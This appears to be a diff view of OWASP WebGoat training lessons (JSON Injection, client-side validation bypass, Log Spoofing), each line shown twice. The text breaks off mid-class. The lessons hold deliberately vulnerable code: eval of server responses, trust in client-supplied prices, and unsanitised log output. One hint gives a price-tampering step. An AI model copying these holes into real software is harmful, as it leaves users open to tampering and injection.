private final static String TRAVEL_FROM = "travelFrom"; private final static String TRAVEL_FROM = "travelFrom";
private final static String TRAVEL_TO = "travelTo"; private final static String TRAVEL_TO = "travelTo";
private final static IMG MAC_LOGO = new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured") private final static IMG MAC_LOGO = new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured")
.setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax")) if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ {
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep
+ "\"flights\": [" + lineSep + "\"flights\": [" + lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]" + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]"
+ lineSep + "}"; + lineSep + "}";
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print(jsonStr); out.print(jsonStr);
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} catch (Exception ex) } catch (Exception ex)
{ {
ex.printStackTrace(); ex.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.setOnSubmit("return check();"); form.setOnSubmit("return check();");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Current WebSession * Current WebSession
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" String script = "<script>"
+ lineSep + lineSep
+ "function getFlights() {" + "function getFlights() {"
+ lineSep + lineSep
+ "var fromField = document.getElementById('" + "var fromField = document.getElementById('"
+ TRAVEL_FROM + TRAVEL_FROM
+ "');" + "');"
+ lineSep + lineSep
+ "if (fromField.value.length < 3 || fromField.value!='BOS') { return; }" + "if (fromField.value.length < 3 || fromField.value!='BOS') { return; }"
+ lineSep + lineSep
+ "var toField = document.getElementById('" + "var toField = document.getElementById('"
+ TRAVEL_TO + TRAVEL_TO
+ "');" + "');"
+ lineSep + lineSep
+ "if (toField.value.length < 3 || toField.value!='SEA') { return; }" + "if (toField.value.length < 3 || toField.value!='SEA') { return; }"
+ lineSep + lineSep
+ "var url = '" + "var url = '"
+ getLink() + getLink()
+ "&from=ajax&" + "&from=ajax&"
+ TRAVEL_FROM + TRAVEL_FROM
+ "=' + encodeURIComponent(fromField.value) +" + "=' + encodeURIComponent(fromField.value) +"
+ "'&" + "'&"
+ TRAVEL_TO + TRAVEL_TO
+ "=' + encodeURIComponent(toField.value);" + "=' + encodeURIComponent(toField.value);"
+ lineSep + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + lineSep
+ "req = new XMLHttpRequest();" + "req = new XMLHttpRequest();"
+ lineSep + lineSep
+ "} else if (window.ActiveXObject) {" + "} else if (window.ActiveXObject) {"
+ lineSep + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + lineSep
+ " }" + " }"
+ lineSep + lineSep
+ " req.open('GET', url, true);" + " req.open('GET', url, true);"
+ lineSep + lineSep
+ " req.onreadystatechange = callback;" + " req.onreadystatechange = callback;"
+ lineSep + lineSep
+ " req.send(null);" + " req.send(null);"
+ lineSep + lineSep
+ "}" + "}"
+ lineSep + lineSep
+ "function callback() {" + "function callback() {"
+ lineSep + lineSep
+ " if (req.readyState == 4) { " + " if (req.readyState == 4) { "
+ lineSep + lineSep
+ " if (req.status == 200) { " + " if (req.status == 200) { "
+ lineSep + lineSep
+ " var card = eval('(' + req.responseText + ')');" + " var card = eval('(' + req.responseText + ')');"
+ lineSep + lineSep
+ " var flightsDiv = document.getElementById('flightsDiv');" + " var flightsDiv = document.getElementById('flightsDiv');"
+ lineSep + lineSep
+ " flightsDiv.innerHTML = '';" + " flightsDiv.innerHTML = '';"
+ lineSep + lineSep
+ " var strHTML='';" + " var strHTML='';"
+ lineSep + lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td>No of Stops</td>';" + " strHTML = '<tr><td>&nbsp;</td><td>No of Stops</td>';"
+ lineSep + lineSep
+ " strHTML = strHTML + '<td>Stops</td><td>Prices</td></tr>';" + " strHTML = strHTML + '<td>Stops</td><td>Prices</td></tr>';"
+ lineSep + lineSep
+ " for(var i=0; i<card.flights.length; i++){" + " for(var i=0; i<card.flights.length; i++){"
+ lineSep + lineSep
+ " var node = card.flights[i];" + " var node = card.flights[i];"
+ lineSep + lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"radio'+i+'\" type=\"radio\" id=\"radio'+i+'\"></td><td>';" + " strHTML = strHTML + '<tr><td><input name=\"radio'+i+'\" type=\"radio\" id=\"radio'+i+'\"></td><td>';"
+ lineSep + lineSep
+ " strHTML = strHTML + card.flights[i].stops + '</td><td>';" + " strHTML = strHTML + card.flights[i].stops + '</td><td>';"
+ lineSep + lineSep
+ " strHTML = strHTML + card.flights[i].transit + '</td><td>';" + " strHTML = strHTML + card.flights[i].transit + '</td><td>';"
+ lineSep + lineSep
+ " strHTML = strHTML + '<div name=\"priceID'+i+'\" id=\"priceID'+i+'\">' + card.flights[i].price + '</div></td></tr>';" + " strHTML = strHTML + '<div name=\"priceID'+i+'\" id=\"priceID'+i+'\">' + card.flights[i].price + '</div></td></tr>';"
+ lineSep + lineSep
+ " }" + " }"
+ lineSep + lineSep
+ " strHTML = '<table border=\"1\">' + strHTML + '</table>';" + " strHTML = '<table border=\"1\">' + strHTML + '</table>';"
+ lineSep + lineSep
+ " flightsDiv.innerHTML = strHTML;" + " flightsDiv.innerHTML = strHTML;"
+ lineSep + lineSep
+ " }}}" + " }}}"
+ lineSep + lineSep
+ +
"function check(){" "function check(){"
+ lineSep + lineSep
+ " if ( document.getElementById('radio0').checked )" + " if ( document.getElementById('radio0').checked )"
+ lineSep + lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID0').innerHTML; return true;}" + " { document.getElementById('price2Submit').value = document.getElementById('priceID0').innerHTML; return true;}"
+ lineSep + lineSep
+ " else if ( document.getElementById('radio1').checked )" + " else if ( document.getElementById('radio1').checked )"
+ lineSep + lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}" + " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}"
+ lineSep + " else " + lineSep + " { alert('Please choose one flight'); return false;}" + lineSep + "}" + lineSep + " else " + lineSep + " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + "</script>" + lineSep; + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD("From: ")); tr.addElement(new TD("From: "));
Input in = new Input(Input.TEXT, TRAVEL_FROM, ""); Input in = new Input(Input.TEXT, TRAVEL_FROM, "");
in.addAttribute("onkeyup", "getFlights();"); in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_FROM); in.addAttribute("id", TRAVEL_FROM);
tr.addElement(new TD(in)); tr.addElement(new TD(in));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD("To: ")); tr.addElement(new TD("To: "));
in = new Input(Input.TEXT, TRAVEL_TO, ""); in = new Input(Input.TEXT, TRAVEL_TO, "");
in.addAttribute("onkeyup", "getFlights();"); in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_TO); in.addAttribute("id", TRAVEL_TO);
tr.addElement(new TD(in)); tr.addElement(new TD(in));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
Div div = new Div(); Div div = new Div();
div.addAttribute("name", "flightsDiv"); div.addAttribute("name", "flightsDiv");
div.addAttribute("id", "flightsDiv"); div.addAttribute("id", "flightsDiv");
ec.addElement(div); ec.addElement(div);
Input b = new Input(); Input b = new Input();
b.setType(Input.SUBMIT); b.setType(Input.SUBMIT);
b.setValue("Submit"); b.setValue("Submit");
b.setName("SUBMIT"); b.setName("SUBMIT");
ec.addElement(b); ec.addElement(b);
Input price2Submit = new Input(); Input price2Submit = new Input();
price2Submit.setType(Input.HIDDEN); price2Submit.setType(Input.HIDDEN);
price2Submit.setName("price2Submit"); price2Submit.setName("price2Submit");
price2Submit.setValue(""); price2Submit.setValue("");
price2Submit.addAttribute("id", "price2Submit"); price2Submit.addAttribute("id", "price2Submit");
ec.addElement(price2Submit); ec.addElement(price2Submit);
if (s.getParser().getRawParameter("radio0", "").equals("on")) if (s.getParser().getRawParameter("radio0", "").equals("on"))
{ {
String price = s.getParser().getRawParameter("price2Submit", ""); String price = s.getParser().getRawParameter("price2Submit", "");
price = price.replace("$", ""); price = price.replace("$", "");
if (Integer.parseInt(price) < 600) if (Integer.parseInt(price) < 600)
{ {
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600"); s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
} }
} }
return ec; return ec;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("JSON stands for JavaScript Object Notation."); hints.add("JSON stands for JavaScript Object Notation.");
hints.add("JSON is a way of representing data just like XML."); hints.add("JSON is a way of representing data just like XML.");
hints.add("The JSON payload is easily interceptable."); hints.add("The JSON payload is easily interceptable.");
hints.add("Intercept the reply, change the $600 to $25."); hints.add("Intercept the reply, change the $600 to $25.");
return hints; return hints;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("JSON Injection"); return ("JSON Injection");
} }
} }

View File

@ -50,222 +50,222 @@ import org.owasp.webgoat.util.WebGoatI18N;
public class JavaScriptValidation extends LessonAdapter public class JavaScriptValidation extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// Regular expressions in Java and JavaScript compatible form // Regular expressions in Java and JavaScript compatible form
// Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
// you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one
// for JavaScript // for JavaScript
String regex1 = "^[a-z]{3}$";// any three lowercase letters String regex1 = "^[a-z]{3}$";// any three lowercase letters
String regex2 = "^[0-9]{3}$";// any three digits String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
// numbers // numbers
String regex5 = "^\\d{5}$";// simple zip code String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes
Pattern pattern1 = Pattern.compile(regex1); Pattern pattern1 = Pattern.compile(regex1);
Pattern pattern2 = Pattern.compile(regex2); Pattern pattern2 = Pattern.compile(regex2);
Pattern pattern3 = Pattern.compile(regex3); Pattern pattern3 = Pattern.compile(regex3);
Pattern pattern4 = Pattern.compile(regex4); Pattern pattern4 = Pattern.compile(regex4);
Pattern pattern5 = Pattern.compile(regex5); Pattern pattern5 = Pattern.compile(regex5);
Pattern pattern6 = Pattern.compile(regex6); Pattern pattern6 = Pattern.compile(regex6);
Pattern pattern7 = Pattern.compile(regex7); Pattern pattern7 = Pattern.compile(regex7);
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>" + lineSep + "regex1=/" + regex1 + "/;" + lineSep + "regex2=/" + regex2 + "/;" String script = "<SCRIPT>" + lineSep + "regex1=/" + regex1 + "/;" + lineSep + "regex2=/" + regex2 + "/;"
+ lineSep + "regex3=/" + regex3 + "/;" + lineSep + "regex4=/" + regex4 + "/;" + lineSep + "regex5=/" + lineSep + "regex3=/" + regex3 + "/;" + lineSep + "regex4=/" + regex4 + "/;" + lineSep + "regex5=/"
+ regex5 + "/;" + lineSep + "regex6=/" + regex6 + "/;" + lineSep + "regex7=/" + regex7 + "/;" + lineSep + regex5 + "/;" + lineSep + "regex6=/" + regex6 + "/;" + lineSep + "regex7=/" + regex7 + "/;" + lineSep
+ "function validate() { " + lineSep + "msg='JavaScript found form errors'; err=0; " + lineSep + "function validate() { " + lineSep + "msg='JavaScript found form errors'; err=0; " + lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}" + lineSep + "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}" + lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}" + lineSep + "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}" + lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}" + lineSep + "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}" + lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}" + lineSep + "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}" + lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}" + lineSep + "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}" + lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}" + lineSep + "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}" + lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}" + lineSep + "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}" + lineSep
+ "if ( err > 0 ) alert(msg);" + lineSep + "else document.form.submit();" + lineSep + "} " + lineSep + "if ( err > 0 ) alert(msg);" + lineSep + "else document.form.submit();" + lineSep + "} " + lineSep
+ "</SCRIPT>" + lineSep; + "</SCRIPT>" + lineSep;
try try
{ {
String param1 = s.getParser().getRawParameter("field1", "abc"); String param1 = s.getParser().getRawParameter("field1", "abc");
String param2 = s.getParser().getRawParameter("field2", "123"); String param2 = s.getParser().getRawParameter("field2", "123");
String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC"); String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC");
String param4 = s.getParser().getRawParameter("field4", "seven"); String param4 = s.getParser().getRawParameter("field4", "seven");
String param5 = s.getParser().getRawParameter("field5", "90210"); String param5 = s.getParser().getRawParameter("field5", "90210");
String param6 = s.getParser().getRawParameter("field6", "90210-1111"); String param6 = s.getParser().getRawParameter("field6", "90210-1111");
String param7 = s.getParser().getRawParameter("field7", "301-604-4882"); String param7 = s.getParser().getRawParameter("field7", "301-604-4882");
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
TextArea input1 = new TextArea("field1", 1, 25).addElement(param1); TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
TextArea input2 = new TextArea("field2", 1, 25).addElement(param2); TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
TextArea input3 = new TextArea("field3", 1, 25).addElement(param3); TextArea input3 = new TextArea("field3", 1, 25).addElement(param3);
TextArea input4 = new TextArea("field4", 1, 25).addElement(param4); TextArea input4 = new TextArea("field4", 1, 25).addElement(param4);
TextArea input5 = new TextArea("field5", 1, 25).addElement(param5); TextArea input5 = new TextArea("field5", 1, 25).addElement(param5);
TextArea input6 = new TextArea("field6", 1, 25).addElement(param6); TextArea input6 = new TextArea("field6", 1, 25).addElement(param6);
TextArea input7 = new TextArea("field7", 1, 25).addElement(param7); TextArea input7 = new TextArea("field7", 1, 25).addElement(param7);
Input b = new Input(); Input b = new Input();
b.setType(Input.BUTTON); b.setType(Input.BUTTON);
b.setValue("Submit"); b.setValue("Submit");
b.addAttribute("onclick", "validate();"); b.addAttribute("onclick", "validate();");
ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("3LowerCase")+"(" ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("3LowerCase")+"("
+ regex1 + ")"))); + regex1 + ")")));
ec.addElement(new Div().addElement(input1)); ec.addElement(new Div().addElement(input1));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("Exactly3Digits")+"(" + regex2 + ")"))); ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("Exactly3Digits")+"(" + regex2 + ")")));
ec.addElement(new Div().addElement(input2)); ec.addElement(new Div().addElement(input2));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("LettersNumbersSpaceOnly")+"(" + regex3 ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("LettersNumbersSpaceOnly")+"(" + regex3
+ ")"))); + ")")));
ec.addElement(new Div().addElement(input3)); ec.addElement(new Div().addElement(input3));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("EnumerationOfNumbers")+" (" + regex4 + ")"))); ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("EnumerationOfNumbers")+" (" + regex4 + ")")));
ec.addElement(new Div().addElement(input4)); ec.addElement(new Div().addElement(input4));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("SimpleZipCode")+ " (" + regex5 + ")"))); ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("SimpleZipCode")+ " (" + regex5 + ")")));
ec.addElement(new Div().addElement(input5)); ec.addElement(new Div().addElement(input5));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div() ec.addElement(new Div()
.addElement(new StringElement(WebGoatI18N.get("ZIPDashFour")+" (" + regex6 + ")"))); .addElement(new StringElement(WebGoatI18N.get("ZIPDashFour")+" (" + regex6 + ")")));
ec.addElement(new Div().addElement(input6)); ec.addElement(new Div().addElement(input6));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("USPhoneNumber")+ " (" ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("USPhoneNumber")+ " ("
+ regex7 + ")"))); + regex7 + ")")));
ec.addElement(new Div().addElement(input7)); ec.addElement(new Div().addElement(input7));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(b); ec.addElement(b);
// Check the patterns on the server -- and note the errors in the response // Check the patterns on the server -- and note the errors in the response
// these should never match unless the client side pattern script doesn't work // these should never match unless the client side pattern script doesn't work
int err = 0; int err = 0;
String msg = ""; String msg = "";
if (!pattern1.matcher(param1).matches()) if (!pattern1.matcher(param1).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+" Field1."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+" Field1.";
} }
if (!pattern2.matcher(param2).matches()) if (!pattern2.matcher(param2).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+" Field2."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+" Field2.";
} }
if (!pattern3.matcher(param3).matches()) if (!pattern3.matcher(param3).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field3."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field3.";
} }
if (!pattern4.matcher(param4).matches()) if (!pattern4.matcher(param4).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field4."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field4.";
} }
if (!pattern5.matcher(param5).matches()) if (!pattern5.matcher(param5).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field5."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field5.";
} }
if (!pattern6.matcher(param6).matches()) if (!pattern6.matcher(param6).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field6."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field6.";
} }
if (!pattern7.matcher(param7).matches()) if (!pattern7.matcher(param7).matches())
{ {
err++; err++;
msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field7."; msg += "<BR>"+WebGoatI18N.get("ServerSideValidationViolation")+"Field7.";
} }
if (err > 0) if (err > 0)
{ {
s.setMessage(msg); s.setMessage(msg);
} }
if (err >= 7) if (err >= 7)
{ {
// This means they defeated all the client side checks // This means they defeated all the client side checks
makeSuccess(s); makeSuccess(s);
} }
} }
catch (Exception e) catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.PARAMETER_TAMPERING; return Category.PARAMETER_TAMPERING;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("JavaScriptValidationHint1")); hints.add(WebGoatI18N.get("JavaScriptValidationHint1"));
hints.add(WebGoatI18N.get("JavaScriptValidationHint2")); hints.add(WebGoatI18N.get("JavaScriptValidationHint2"));
hints.add(WebGoatI18N.get("JavaScriptValidationHint3")); hints.add(WebGoatI18N.get("JavaScriptValidationHint3"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Bypass Client Side JavaScript Validation"); return ("Bypass Client Side JavaScript Validation");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -55,106 +55,106 @@ import org.owasp.webgoat.util.WebGoatI18N;
public class LogSpoofing extends LessonAdapter public class LogSpoofing extends LessonAdapter
{ {
private static final String USERNAME = "username"; private static final String USERNAME = "username";
private static final String PASSWORD = "password"; private static final String PASSWORD = "password";
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = null; ElementContainer ec = null;
String inputUsername = null; String inputUsername = null;
try try
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
TR row3 = new TR(); TR row3 = new TR();
row1.addElement(new TD(new StringElement(WebGoatI18N.get("UserName")+":"))); row1.addElement(new TD(new StringElement(WebGoatI18N.get("UserName")+":")));
Input username = new Input(Input.TEXT, USERNAME, ""); Input username = new Input(Input.TEXT, USERNAME, "");
row1.addElement(new TD(username)); row1.addElement(new TD(username));
row2.addElement(new TD(new StringElement(WebGoatI18N.get("Password")+": "))); row2.addElement(new TD(new StringElement(WebGoatI18N.get("Password")+": ")));
Input password = new Input(Input.PASSWORD, PASSWORD, ""); Input password = new Input(Input.PASSWORD, PASSWORD, "");
row2.addElement(new TD(password)); row2.addElement(new TD(password));
Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Login"));
row3.addElement(new TD(new StringElement("&nbsp; "))); row3.addElement(new TD(new StringElement("&nbsp; ")));
row3.addElement(new TD(b)).setAlign("right"); row3.addElement(new TD(b)).setAlign("right");
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
t.addElement(row3); t.addElement(row3);
ec = new ElementContainer(); ec = new ElementContainer();
ec.addElement(t); ec.addElement(t);
inputUsername = new String(s.getParser().getRawParameter(USERNAME, "")); inputUsername = new String(s.getParser().getRawParameter(USERNAME, ""));
if (inputUsername.length() != 0) if (inputUsername.length() != 0)
{ {
inputUsername = URLDecoder.decode(inputUsername, "UTF-8"); inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
} }
ec.addElement(new PRE(" ")); ec.addElement(new PRE(" "));
Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row4 = new TR(); TR row4 = new TR();
row4.addElement(new TD(new PRE(WebGoatI18N.get("LoginFailedForUserName")+": " + inputUsername))).setBgColor(HtmlColor.GRAY); row4.addElement(new TD(new PRE(WebGoatI18N.get("LoginFailedForUserName")+": " + inputUsername))).setBgColor(HtmlColor.GRAY);
t2.addElement(row4); t2.addElement(row4);
ec.addElement(t2); ec.addElement(t2);
if (inputUsername.length() > 0 && inputUsername.indexOf('\n') >= 0 && inputUsername.indexOf('\n') >= 0) if (inputUsername.length() > 0 && inputUsername.indexOf('\n') >= 0 && inputUsername.indexOf('\n') >= 0)
{ {
makeSuccess(s); makeSuccess(s);
} }
} catch (UnsupportedEncodingException e) } catch (UnsupportedEncodingException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ec; return ec;
} }
private final static Integer DEFAULT_RANKING = new Integer(72); private final static Integer DEFAULT_RANKING = new Integer(72);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("LogSpoofingHint1")); hints.add(WebGoatI18N.get("LogSpoofingHint1"));
hints.add(WebGoatI18N.get("LogSpoofingHint2")); hints.add(WebGoatI18N.get("LogSpoofingHint2"));
